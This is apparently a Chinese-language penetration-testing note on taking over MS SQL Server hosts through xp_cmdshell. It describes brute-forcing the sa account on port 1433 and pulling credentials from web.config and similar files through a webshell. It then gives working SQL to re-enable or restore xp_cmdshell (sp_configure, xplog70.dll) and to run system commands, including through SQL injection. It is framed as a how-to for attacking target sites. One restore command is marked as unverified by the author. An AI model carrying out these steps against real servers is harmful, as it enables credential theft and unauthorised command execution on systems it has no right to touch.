1.条件
- 具有sa用户的密码
- xm_cmdshell组件存在并开启
2.SA(mssql管理员默认账号)账号的获取
- 爆破获取账号密码(port:1433)
- 通过webshell读取网站配置文件或者数据库文件(sql server的数据库文件存储格式是mdf)。
如web.config、config.asp、conn.asp、dbconfig.asp。
可能得到的账号名称不是sa,但是具有系统权限。
使用数据库软件连接数据库执行系统数据库的操作,若可以操作说明此账号具有sa权限。
或者利用注入sqlmap --is-dba确认是否为dba权限。
SQL server默认允许sa外链登陆,mysql root用户默认不允许外链登陆。
3.利用
3.1允许外联
- 直接利用sql工具外联开启xp_cmdshell。
如下图,sql sever有一个自带的系统数据库master,而xp_cmdshell在 《存储过程》–>《扩展存储过程中》的脚本。
查看《扩展存储过程》,如果其中含有 sys.xp_cmdshell 说明目标网站没有删除该组件,只是默认把该组件禁止,如果没有看到该组件说明已删除xp_cmdshell,那么可以使用自带的xplog70.dll或者上传dll文件进行恢复。
xp_cmdshell在mssql2000中是开启的,在mssql2005及之后的版本中则默认禁止。
如果用户拥有管理员sa权限则可以用sp_configure(默认值为0)重新开启它。
exec sp_configure 'show advanced options', 1;reconfigure;
-- 需将show ad advanced options置为1才能列出高级选项
exec sp_configure 'xp_cmdshell', 1;reconfigure;
-- 开启xp_cmdshell
- 使用xp_cmdshel执行命令的sql语句
EXEC master.dbo.xp_cmdshell 'whoami'
3.2不允许外联
利用大马或者webshell管理工具登录mssql数据库,执行以下sql命令检查xp_cmdshell是否存在。也可以利用SQL注入。
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
结果为1,则证明存在。当结果为0时,可以通过下列命令恢复
dbcc addextendedproc("xp_cmdshell","xplog70.dll");
如果xplog70.dll也删除了可以自己上传一个或者执行以下命令恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';
此命令未验证,个人理解该路径应该为安装了mssql数据库的默认路径,如果使用的是PHP study类似软件而不是下载安装的可能无法使用。
使用xp_cmdshel执行命令
EXEC master.dbo.xp_cmdshell 'whoami'`
4.注意:
- 什么是“存储过程”:其实质就是一个“集合”就是存储在SqlServer中预先定义好的“SQL语句集合”,说的更直白一些就是使用T-SQL语言编写好的各种小脚本共同组成的集合体,我们称之为“存储过程”。
而存储过程中的这些小脚本中,其危险性最高的“小脚本”就是《扩展存储过程中》的“xp_cmdshell脚本”,它可以执行操作系统的任何指令。所以xp_cmdshell相当于mssql的cmd。 - xp_cmdshell的权限取决于数据库的运行权限,2005的xp_cmdshell的权限一般是system,而2008多数为nt authority\network service。